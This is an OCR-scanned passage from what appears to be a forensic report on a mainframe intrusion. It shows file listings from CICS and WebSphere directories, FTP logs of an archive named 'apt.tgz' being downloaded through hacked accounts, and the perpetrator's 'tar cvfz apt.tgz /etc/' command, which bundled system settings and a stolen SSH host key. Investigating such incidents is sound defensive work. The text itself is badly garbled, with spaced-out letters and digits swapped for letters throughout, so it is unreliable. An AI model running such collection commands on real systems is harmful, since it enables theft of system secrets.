/ u s r / 1pp / c i c s ts / ci c s ts 3 2 / s emci ca4 / s he 1 f / SEMC I CH1 / P I PELINE / S P P I PE 0 1 / servi ceProvider . xm1 

drwxrwxrwx O 2 3 1 2 3 1  V0 7 7  O Nov 1 8  2 0 0 8  / u s r / 1pp / c i c s t s / c i c s ts 3 2 / semci c a 4 / wsbind/ 

drwxr-xr-x O DAF1 4 7 3  V0 7 7  O Nov 1 8  2 0 0 8  

/us r / 1pp / ci c s ts / ci c s t s 3 2 / s emcica4 /wsbind/provider/ 

drwxrwxrwx O DAF1 4 7 3  V0 7 7  O Aug 2 7  2 0 0 9  
/us r / 1pp / c i c s ts / c i c s ts 3 2 / semcica4 /wsbind/ reque s ter/ 

- rw- r - - r - - O DAF 1 4 7 3  V0 7 7  1 5 5 7 8 4  Jun 3 2 0 0 9  

/ u s r / 1pp / c i c s ts / c i c s ts 3 2 / semcica4 /wsbind/reque s ter /NAVETSERVICERl . wsbind 

- rwxrwxrwx O DAF1 4 7 3  V0 7 7  5 9 1 6 0  Nov 1 8  2 0 0 8  
/ u s r / 1pp / c i c s ts / c i c s ts 3 2 / semci ca4 /wsbind/reque s ter/REGNRSOKSERVICE . wsbind 

- rw- r - - r - - O DAF1 4 7 3  V0 7 7  1 4 3 3 6  Aug 27 2 0 0 9  

/ u s r / 1pp / ci c s ts / c i c s ts 3 2 / semci c a 4 / wsbind/ reque s ter/TAXERING S INFOSERVICER1 . wsbind 

- rwxrwxrwx O DAF1 4 7 3  V0 7 7  4 4 4 3 2  Nov 1 8  2 0 0 8  
/ u s r / 1pp / c i c s ts / c i c s ts 3 2 / semcica4 /wsbind/reque s ter/ TELE . wsbind 

drwxr-xr-x O DAF1 4 7 3  V0 7 7  O Aug 2 6  2 0 0 9  /usr/ 1pp / c i c s t s / c i c s ts 3 2 / semcica4 /wsd1 / 

- rwxr - xr - x  O DAF1 4 7 3  V0 7 7  1 7 9 2 2  Nov 1 8  2 0 0 8  

/ u s r / 1pp/ c i c s ts / c i c s ts 3 2 / s emcica4 /wsd1 /BF . wsd1 

- rw - r - - - - - 0 DAF1 4 7 3  V0 7 7  4 3 9 0  Jun 3 2 0 0 9  
/ us r / 1pp/ c i c s ts / c i c s ts 3 2 / semcica4 /wsd1 /Nave tServi ceRl_prod . wsd1 

- rw- r - - - - - O DAF1 4 7 3  V0 7 7  2 3 6 4 1  Apr 1 7  2 0 0 9  

/ u s r / 1pp / ci c s t s / c i c s ts 3 2 / semcica4 /wsd1 /Nave tServiceR1_s chema 1 . xs d  

- rw- r - - - - - O DAF1 4 7 3  V0 7 7  2 0 6 7  Aug 2 6  2 0 0 9  
/ us r / 1pp / c i c s t s / c i c s ts 3 2 / semci ca4 /wsd1 / Taxerings infoServiceR1_prod . wsd1 

- rw - r - - - - - O DAF1 4 7 3  V0 7 7  2 0 6 3 Jun 3 2 0 0 9  

/us r / 1pp / c i c s t s / c i c s ts 3 2 / semcica4 /wsd1 / TaxeringsinfoServiceR1_prod . wsd1 . bort 

- rw- r - - - - - O DAF 1 4 7 3  V0 7 7  4 4 0 7  Apr 1 7  2 0 0 9  
/ u s r / 1pp / c i c s t s / c i c s ts 3 2 / semci ca4 /wsd1 / T axeringsinfoServiceRl_s chema1 . xs d  

- rw- - - - - - - 0 DAF1 4 7 3  V0 7 7  1 2 9 9 1  Nov 1 8  2 0 0 8  

/ us r / 1pp / c i c s ts / ci c s ts 3 2 / semcica4 /wsd1 /Te 1eOn1 ineServi ce . wsd1 

drwxrwxrwx O 5 4 5 3 4 5  V 0 7 7  O Aug 2 8  2 0 0 8  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s e mc i ch l / 

- rwx - - - - - - O 5 4 5 3 4 5  V 0 7 7  5 8 0  Aug 2 8  2 0 0 8  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s em c i ch 1 / a e d i t  

drwxrwxrwx O 5 4 5 3 4 5  

- rwxrwx r - x  O 2 3 1 2 3 1  

V 0 7 7  

V 0 7 7  

O Nov 1 4  2 0 0 8  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s emc i ch 1 / c o n f i g /  

2 5 2  Jun 4 2 0 0 8  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s emc i ch 1 / c o n f i g / b a s i c s o ap 1 1 re qu e s t e r . xml 

l 
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- rwxrwxrwx O 5 4 5 3 4 5  V 0 7 7  2 6 5 Feb 8 2 0 0 8  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / s emc i ch 1 / c o n f i g / s e r v i c e P r o v i d e r . xml 

- rwxrwx r - x  O 2 3 1 2 3 1  V 0 7 7  2 8 9  Jul 9 2 0 0 8  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / semc i ch 1 / c o n f i g / s e rv i ceReque s t e r . xml 

- rwxrwx r - x  O 2 3 1 2 3 1  V 0 7 7  2 6 5 Feb 8 2 0 0 8  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s emc i ch 1 / c o n f i g / s p s oapp r o v i de r . xml 
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drwxrwxrwx O 5 4 5 3 4 5  V 0 7 7  O Mar 1 5  0 0 : 2 4 / u s r / l pp / c i c s t s / c i c s t s 3 2 / s em c i ch 1 / s h e l f /  

drwxr-xr-x O BPXDFLTU V0 7 7  O Mar 1 5  0 0 : 2 4 
/usr/ 1pp / ci c s ts / ci c s ts 3 2 / semci ch1 / shel f / SEMC I CH1 / 

drwxr-xr-x 0 BPXDFLTU V0 7 7  O Mar 1 5  0 0 : 2 4 
/ u s r / lpp/ ci c s ts / c i c s ts 3 2 / semci ch1 / she1 f / SEMCICH1 / P I PELINE /  

drwxr-xr-x O BPXDFLTU V0 7 7  O Mar 1 5  0 0 : 2 4 

/ us r / lpp/ ci c s t s / c i c s ts 3 2 / semcich1 / shel f / SEMCICH1 / P I PELINE / PIRQ1 1 /  

- rwxr -xr-x O BPXDFLTU V0 7 7  2 8 9  Mar 1 5  0 0 : 2 4 
/ us r / lpp / c i c s t s / c i c s ts 3 2 / semcich 1 / shel f / SEMCICH1 / P I PELINE / PIRQ1 1 / serviceReque s ter . xml 

drwxr-xr-x 0 BPXDFLTU V0 7 7  O Mar 1 5  0 0 : 2 4 

/ us r / lpp/ ci c s ts / c i c s ts 3 2 / semcich 1 / shel f / SEMC I CH 1 / P I PELINE / S PP I PE 0 1 /  

- rwxr -xr-x O BPXDFLTU V0 7 7  2 6 5  Mar 1 5  0 0 : 2 4 
/ u s r / lpp/ ci c s ts / c i c s ts 3 2 / semcich 1 / she l f / SEMC I CH1 / P I PELINE / S P P I PE 0 1 / s ervi ceProvider . xml 

drwxrwxrwx O 5 4 5 3 4 5  V 0 7 7  O Jun 5 2 0 0 8  / u s r / lpp / c i c s t s / c i c s t s 3 2 / s emc i c h 1 / w s b i n d /  

drwx r - x r - x  O 2 3 1 2 3 1  V 0 7 7  O J u n  5 2 0 0 8  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s emc i ch 1 / w s b i n d / p r o v i de r /  

drwxrwxrwx O 2 3 1 2 3 1  V 0 7 7  O May 2 6  2 0 1 1  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s emc i ch 1 / w s b i n d / r e que s t e r /  

- rw- r - - r - - O DAF1 4 7 3  V0 7 7  1 5 5 7 8 4  Apr 1 6  2 0 0 9  
/ u s r / lpp / ci c s t s / c i c s ts 3 2 / semcich1 /wsbind/ reque s ter/NAVETSERVICER1 . wsbind 

- rwxr-xr-x O 2 3 1 2 3 1  V0 7 7  5 9 1 6 0  Nov 1 2  2 0 0 8  
/ u s r / 1pp / ci c s t s / c i c s ts 3 2 / s emcich1 /wsbind/ reque s ter/REGNRSOKSERVI CE . wsbind 

- rw- r - - r - - O DAF1 4 7 3  V0 7 7  4 0 7 2  May 2 6  2 0 1 1  

/ u s r / lpp / ci c s t s / c i c s ts 3 2 / semcich1 /wsbind/ reque s te r / S PARNAMNSOAP . wsbind 

- rw- r - - r - - O DAF1 4 7 3  V0 7 7  1 4 3 3 6  Mar 1 2  2 0 0 9  
/ u s r / lpp/ c ic s t s / c i c s ts 3 2 / semcich1 /wsbind/ reque s ter/TAXERINGS INFOSERVICER1 . wsbind 

- rw- r - - r - - O 5 4 5 3 4 5  V0 7 7  4 4 4 3 2  Dec 1 0  2 0 0 8  

/ u s r / lpp/ ci c s t s / c i c s t s 3 2 / semcich1 /wsbind/ reque s te r / TELE . wsbind 

drwxrwxr-x O DAF1 4 7 3  V0 7 7  O May 2 6  2 0 1 1  / us r / lpp / ci c s t s / c i c s ts 3 2 / semci ch 1 /wsdl / 

- rw - r - - - - - 0 DAF1 4 7 3  V0 7 7  1 9 5 3  May 2 6  2 0 1 1  
/ us r / lpp / c i c s ts / c i c s ts 3 2 / s emcich1 /wsdl / sparnamnSOAP . wsdl 

- rw - r - - - - - O DAF1 4 7 3  V0 7 7  2 0 6 7 Aug 2 6  2 0 0 9  
/ u s r / lpp/ ci c s ts / c i c s ts 3 2 / s emcich1 /wsdl / taxeringsinfoservi cer1 prod . asmx 

- rwxr -xr-x O DAF 1 4 7 3  V0 7 7  1 7 9 2 2  O c t  2 8  2 0 0 8  
/ us r / lpp/ ci c s ts / c i c s ts 3 2 / s emcich 1 /wsdl /BF . wsdl 

- rwxrwxr-x O DAF1 4 7 3  V0 7 7  4 3 9 1  Mar 1 2  2 0 0 9  

/ u s r / lpp/ ci c s t s / c i c s ts 3 2 / s emci ch1 /wsdl /Nave tServiceR1 . wsdl 

- rwxrwxrwx O DAF1 4 7 3  V0 7 7  4 3 9 4  Feb 1 1  2 0 0 9  
/ u s r / lpp / ci c s t s / c i c s ts 3 2 / s emci ch1 /wsdl /Nave tServiceR1 . wsdl . prod 
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- rwxrwxrwx O DAF1 4 7 3  V0 7 7  2 3 6 4 1  Feb 1 1  2 0 0 9  

/ u s r / 1pp / ci c s t s / c i c s ts 3 2 / semcich1 /wsdl /Nave tServiceR1_s chema1 . xsd 

- rwxrwxr-x O DAF1 4 7 3  V0 7 7  2 0 6 5  Jul 3 2 0 0 9  
/ u s r / lpp / c i c s ts / c i c s ts 3 2 / s emcich1 /wsdl / TaxeringsinfoServi ceR1 . wsdl 

- rwxrwxr-x O DAF 1 4 7 3  V0 7 7  2 0 6 4 Mar 1 2  2 0 0 9  

/usr/ lpp / c i c s t s / c i c s ts 3 2 / semci ch 1 /wsdl / T axeringsinfoServi ceR1 . wsdl . old 

- rwxrwxr-x O DAF1 4 7 3  V0 7 7  4 4 0 7  Feb 2 4  2 0 0 9  
/ u s r / 1pp / ci c s t s / c i c s ts 3 2 / semcich1 /wsdl / TaxeringsinfoServiceR1_s chema1 . xs d  

- rw- - - - - - - O DAF1 4 7 3  V0 7 7  1 2 9 9 1  Aug 2 8  2 0 0 8  
/ u s r / lpp/ ci c s t s / c i c s ts 3 2 / semcich 1 /wsdl / TeleOnlineService . wsdl 
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drwx r - x r - x  0 SUPERUSR OMVSGRP O Feb 2 9  2 0 0 8  / u s r / lpp / c i c s t s / c i c s t s 3 2 / JVMP r o f i l e s /  
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Th i s  a ppend ix d i sp l ay the content of a fi l e  a rch ive (a u n ix TAR a rch ive) that have been created by the 

perpetrator. 

rom$ ta r tvf 2 .ta r 

d rwxr-xr-x O O 1 O J u  n 9 2011 WebSphere/ 

d rwxr-xr-x O O 1 O J u n  9 2011 WebSphere/webas/ 

d rwxr-xr-x O O 1 O Mar  10 2010 zWebSphere/ 

d rwxr-xr-x O O 3 O May 25 2011 zWebSphere/V7RO/ 

d rwxr-xr-x O O 1 O Mar  10 2010 zWebSphe re_OM/ 

d rwxr-xr-x O O 3 O May 25 2011 zWebSphere_OM/V7RO/ 

d rwxr-xr-x O O 1 O Ma r  10 2010 zWebSphere_SPS/ 

d rwxr-xr-x O O 3 O May 25 2011 zWebSphere_SPS/V7RO/ 
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Appendix M :  Content o f  archive fil e apt.tgz o n  SY1 9  

The fo l lowi ng i s  the content of the fi l e  "apt.tgz" a cam pressed ta r a rch ive, a s  stored i n  /tmp  o n  SY19. The content i s  the d i rectory /etc with fi les  a nd  
subd i rector ies .  S i nce /etc i s  a centra l configuration and  system d i rectory i n  USS a nd  U n ix, t he  perpetrater got the i r  h and s  o n  va r ious i m  porta nt system setu p 
sett i ngs, a s  we i l  as network configu rations and  secu rity sett i ngs .  One  i m portant examp le  i s  the SSH serv ice, for wh ich the perpetrater sto le  the host key. 

2012-03-05; 17 .00.00;2012-03-05-

17 .09 . 19. 640000;<CS>U N KNOWN;SY19; ;217 . 150. 174.80;21; ; ; RETR;sEQ; BS N 0058; 1 ;S ;F ;H ; 16 .09 . 18; 16 .09 . 19; 1392640;S; ; ; ; FTPD1;sema i nf; 178. 18.  

243 . 27;32044;/tm p/a pt.tgz 

2012-03-05 ;19 .00 .00;2012-03-05-

19 .28 .03 . 1 10000 ;<CS>U N KN OW N ;SY19; ;217 . 150 .17 4 .80;21 ;  ; ;  R ETR;SEQ; BS N0058; 1 ;S; F; H; 18 .27 .59; 18 . 28 .01; 1392640;5 ; ; ; ;  FTPD1;sema i  n f; 178. 18.  

243 . 27;46927;/tm p/apt.tgz 

2012-03-08; 13 .00 .00;2012-03-08-
- -

13 .45 . 24.470000;<CS>U N KNOWN;SY19; ;217 . 150. 174.80;21; ; ; R ETR;sEQ;SPRBI08; 1 ;S; F ;H ; 12 .45 .23 ;12 .45 .24; 1392640;S; ; ; ; FTPD1;sema i nf;46 . 5 9 . 5 1 .  

18 1;59347;/tm p/a pt.tgz 

- -

2012-03-08; 14.00.00;2012-03-08-

14. 33 .03 .900000;<CS>U N KN OWN;SY19;; 217 . 150. 174.80;21; ; ; R ETR;SEQ;AS I 0936; 1 ;S ;F ; H ; 13 . 33 .03; 13 .33 .03; 1392640;S; ; ; ; FTPD1;sema i nf;46. 5 9 . 5 1 .  

'181;62847;/SYSTEM/tmp/apt.tgz 

Figure 99 FTP DOWN LOAD of the file " apt.tgz" from SY19 
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As ca n be seen in the fi l e I i  sti ng, it h ave been down loaded fou r  (4) ti mes, by th ree d iffe rent user accou nts - a l l  known to be hacked accounts .  The fi l e  was 

down loaded to two d i ffe rent lP add resses. 

The fi l e l i st i ng i s  recreated from the sess ion  l ogs obta i ned from the perpetrators own computer. 

t a r #  cv f z  apt . t g z  / e t c /  

a / e t c /  O b l o c k s 

a / e t c / . s h h i s t o r y  3 b l o c k s  

a / e t c / b a n n e r 2 b l o c k s  

a / e t c /bpa / O b l o c k s 

a / e t c / cmx / O b l o c k s 

a / e t c / d ce / O b l o c k s 

a / e t c / dc e / b i n  s ymb o l i c  l i n k  t o  . .  / . .  / b i n  

a / e t c / dc e / dc e cp /  O b l o c k s 

a / e t c / d c e / dce cp / a t t r_ev a l . t c l  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / u s r / lpp / dc e / dc e cp / a t t r  eval . t c l  

a / e t c / dce / dc e cp / a t t r l i s t . dcp s ymb o l i c  l i n k t o  . .  / . .  / . .  / u s r / l pp / dce / dc e cp / a t t r l i s t . d cp 

a / e t c / d ce / dc e cp / b c kp_cd s . dcp s ymb o l i c  l i n k  t o  . .  / . .  / . .  / u s r / l pp / dce / dce cp / b c kp cds . dcp 

a / e t c / dce / dc e cp / b c kp s e c . dcp s ymb o l i c  l i n k  to . .  / . .  / . .  / u s r / l pp / dce / dce cp / b c kp s e c . d cp 

a / e t c / d ce / d c e cp / c e l l . dcp s ymb o l i c  l i n k  t o  . .  / . .  / . .  / u s r / l pp / dce / dce cp / c e l l . dcp 
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a / e t c / dc e / dc e cp / d i r  o p s . dce cp s ymbo l i c  l i n k  t o  . .  / . .  / . .  / u s r / lpp / dc e / dc e cp / di r  o p s . dce cp 

a / e t c / dc e / dc e cp / dt s . dcp s ymbo l i c  l i n k to . .  / . .  / . .  / u s r / lpp / dc e / dc e cp / dt s . dcp 

a / e t c / dce / dc e cp / h e l p . dcp s ymb o l i c  l i n k  to . .  / . .  / . .  / u s r / l pp / dce / dc e cp / h e l p . dcp 

a / e t c / dce / dce cp / h o s t . dcp s ymb o l i c  l i n k  t o  . .  / . .  1 . .  / u s r / l pp / dce / dc e cp / h o s t . d cp 

a / e t c / dce / dce cp / i n i t . dc e cp s ymb o l i c  l i n k  t o  . .  / . .  / . .  / u s r / l pp / d c e / dc e cp / i n i t . dce cp 

a / e t c / d ce / d ce cp /mv s expt . dcp s ymbo l i c  l i n k  to . .  / . .  / . .  / u s r / lpp / dc e / dc e c p / mv s expt . dcp 

a / e t c / d c e / dc e cp /mvs imp t . dcp s ymbo l i c  l i n k  to . .  / . .  / . .  / u s r / lpp / d c e / dc e cp / mv s imp t . dcp 

a / e t c / dc e / dc e cp / p a r s e a r g s . dcp s ymbo l i c  l i n k  to . .  / . .  / . .  / u s r / lpp / dc e / dc e cp / p a r s e a r g s . dcp 

a / e t c / dce / dc e cp / r e g i s t r y . dcp s ymb o l i c  l i n k to . .  / . .  / . .  / u s r / l pp / dce / dce cp / r e g i s t r y . d cp 

a / e t c / dc e / dce cp / t c l i n de x s ymb o l i c  l i n k  t o  . .  / . .  1 . .  / u s r / l pp / dce / dce cp / t c l i n dex 

a / e t c / d c e / d c e cp / u s e r . dcp s ymb o l i c  l i n k  to . .  / . .  / . .  / u s r / l pp / dc e / dce cp / u s e r . dcp 

a / e t c / dce / dce cp / v e rb - ob j e c t . dcp s ymbo l i c l i n k  t o  . .  / . .  / . .  / u s r / lpp / dc e / dc e cp / v e rb - ob j e c t . dcp 

a / e t c / d ce / e t c /  O b l o c k s 

a / e t c / dce / e t c / au d i t /  O b l o c k s 

a / e t c / dce / e t c / au di t / e c  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / au di t / e c  

a / e t c / dc e / e t c / c d s  a t t r i b u t e s s ymb o l i c  l i n k t o  . .  / . .  / . .  / u s r / l pp / dce / e t c / c ds_at t r ibut e s  

a / e t c / d ce / e t c / c d s  g l ob a l n ame s s ymb o l i c  l i n k  t o  . .  / . .  / . .  / u s r / lpp / dc e / e t c / cds_g l ob a l n ame s 

a / e t c / d ce / e t c / c d s cp . bp t  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / u s r / lp p / dce / e t c / cds cp . bp t  

a / e t c / dce / e t c / dt s cp . bp t  s ymbo l i c  l i n k t o  . .  / . .  / . .  / u s r / lpp / dc e / e t c / dt s cp . bp t  
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a / e t c / d ce / e t c / s e c u r i t y /  O b l o c k s  

a / e t c / d c e / e t c / x o i s chema s ymbo l i c  l i n k  t o  . .  / . .  / . .  / u s r / lpp / dc e / e t c / xo i s ch ema 

a / e t c / dc e / e t c / z on e i n f o /  O b l o c k s  

a / e t c / dc e / e t c / z o n e i n f o / l o ca l t ime s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT O 
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a / e t c / dce / e t c / z on e i n f o / p o s i x r u l e s  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o n e i n fo / p o s i x ru l e s  

a / e t c / dce / e t c / z o n e i n f o / Au s t r a l i a  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / Au s t r a l i a  

a / e t c / dce / e t c / z on e i n f o / B r a z i l  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o ne i n f o / B r a z i l  

a / e t c / dc e / e t c / z on e i n f o / C a n a da s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o ne i n f o / C a n ada 

a / e t c / dce / e t c / z on e i n f o / Ch i l e  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / Ch i l e  

a / e t c / dce / e t c / z o n e i n f o / Cuba s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o n e i n f o / C ub a 

a / e t c / dce / e t c / z on e i n f o / CE T  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n f o / CE T  

a / e t c / dc e / e t c / z o n e i n f o / E g yp t  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lp p / dc e / e t c / z o n e i n f o / E g yp t  

a / e t c / dce / e t c / z on e i n f o / EE T  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n f o / EE T  

a / e t c / dce / e t c / z on e i n f o / Fa c t o r y  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / Fa c t o r y  

a / e t c / dce / e t c / z o n e i n f o / Gr e e n w i c h  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / Gr e e n w i c h  

a / e t c / dce / e t c / z on e i n f o / GB - E i r e  s ymb o l i c  l i n k  t o  . .  / . .  / . .  1 . .  / u s r / lpp / dc e / e t c / z on e i n f o / GB - E i r e 

a / e t c / dce / e t c / z on e i n f o / GMT s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n f o / GMT 

a / e t c / dc e / e t c / z on e i n f o / GMT + O  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT+ O 

a / e t c / dce / e t c / z on e i n f o / GMT+ l s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT+ l 
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a / e t c / dc e / e t c / z on e i n f o / GMT+ 1 0  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o ne i n f o / GMT + 1 0 

a / e t c / d c e / e t c / z o n e i n f o / GMT+ 1 1  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o ne i n f o / GMT + 1 1  

a / e t c / dc e / e t c / z on e i n f o / GMT+ 1 2  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dc e / e t c / z o n e i n fo / GMT + 1 2  

a / e t c / dce / e t c / z on e i n f o / GMT+ 1 3  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n fo / GMT + 1 3  

a / e t c / dce / e t c / z on e i n f o / GMT + 2  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT + 2  

a / e t c / d ce / e t c / z o n e i n f o / GMT + 3  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT + 3  

a / e t c / dce / e t c / z on e i n f o / GMT + 4  s ymb o l i c  l i n k t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT+ 4 

a / e t c / dce / e t c / z on e i n f o / GMT + 5  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lp p / dce / e t c / z on e i n f o / GMT + 5  

a / e t c / dce / e t c / z on e i n f o / GMT+ 6 s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT+ 6 

a / e t c / dce / e t c / z on e i n f o / GMT + 7  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT + 7  

a / e t c / d c e / e t c / z on e i n f o / GMT+ 8 s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT + 8  

a / e t c / dce / e t c / z on e i n f o / GMT+ 9 s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT+ 9 

a / e t c / dce / e t c / z on e i n f o / GMT - 0  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lp p / dce / e t c / z on e i n f o / GMT - 0  

a / e t c / dce / e t c / z o n e i n f o / GMT - 1  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT - 1  

a / e t c / dc e / e t c / z on e i n f o / GMT - 1 0  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o ne i n f o / GMT - 1 0  

a / e t c / dce / e t c / z on e i n f o / GMT - 1 1  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o ne i n fo / GMT - 1 1  

a / e t c / dc e / e t c / z on e i n f o / GMT - 1 2  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o n e i n fo / GMT - 1 2  

a / e t c / dc e / e t c / z on e i n f o / GMT - 2  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT - 2  

a / e t c / dce / e t c / z on e i n f o / GMT - 3  s ymb o l i c  l i n k t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT - 3  
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a / e t c / dce / e t c / z on e i n f o / GMT - 4  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT - 4  

a / e t c / d ce / e t c / z on e i n f o / GMT - 5  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lp p / dc e / e t c / z on e i n f o / GMT - 5  

a / e t c / dc e / e t c / z on e i n f o / GMT - 6 s ymb o l i c  l i n k t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT - 6 

a / e t c / dc e / e t c / z o n e i n f o / GMT - 7  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n f o / GMT - 7  

a / e t c / dce / e t c / z on e i n f o / GMT - 8  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT - 8  

a / e t c / dce / e t c / z on e i n f o / GMT - 9 s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT - 9  

a / e t c / dce / e t c / z on e i n f o / GMT O s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o ne i n fo / GMT O 

a / e t c / dce / e t c / z o n e i n f o / GMT l s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o ne i n fo / GMT l 

a / e t c / d ce / e t c / z o n e i n f o / GMT l O  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT l O  

a / e t c / dc e / e t c / z o n e i n f o / GMT l l  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n f o / GMT l l 

a / e t c / d ce / e t c / z on e i n f o / GMT 1 2  s ymb o l i c  l i n k t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT 1 2  

a / e t c / dce / e t c / z on e i n f o / GMT 1 3  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / GMT 1 3  

a / e t c / d ce / e t c / z on e i n f o / GMT 2 s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dc e / e t c / z o ne i n f o / GMT 2 

a / e t c / dce / e t c / z on e i n f o / GMT 3 s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o ne i n f o / GMT 3 

a / e t c / d ce / e t c / z o n e i n f o / GMT 4 s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o n e i n f o / GMT 4 

a / e t c / dce / e t c / z on e i n f o / GMT 5 s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o ne i n f o / GMT 5 

a / e t c / dc e / e t c / z on e i n f o / GMT 6 s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o ne i n f o / GMT 6 

a / e t c / dce / e t c / z on e i n f o / GMT 7 s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o ne i n fo / GMT 7 

a / e t c / dce / e t c / z on e i n f o / GMT 8 s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o ne i n f o / GMT 8 
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a / e t c / dce / e t c / z o n e i n f o / GMT 9 s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o ne i n fo / GMT 9 

a / e t c / dce / e t c / z o n e i n f o / Ho n g ko n g  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o ne i n f o / H o n g k o n g  

a / e t c / dc e / e t c / z on e i n f o / I c e l an d  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z on e i n f o / I c e l an d  

a / e t c / dc e / e t c / z o n e i n f o / I r an s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dc e / e t c / z o ne i n f o / I r a n  

a / e t c / dce / e t c / z on e i n f o / I s ra e l  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o ne i n fo / I s r ae l  

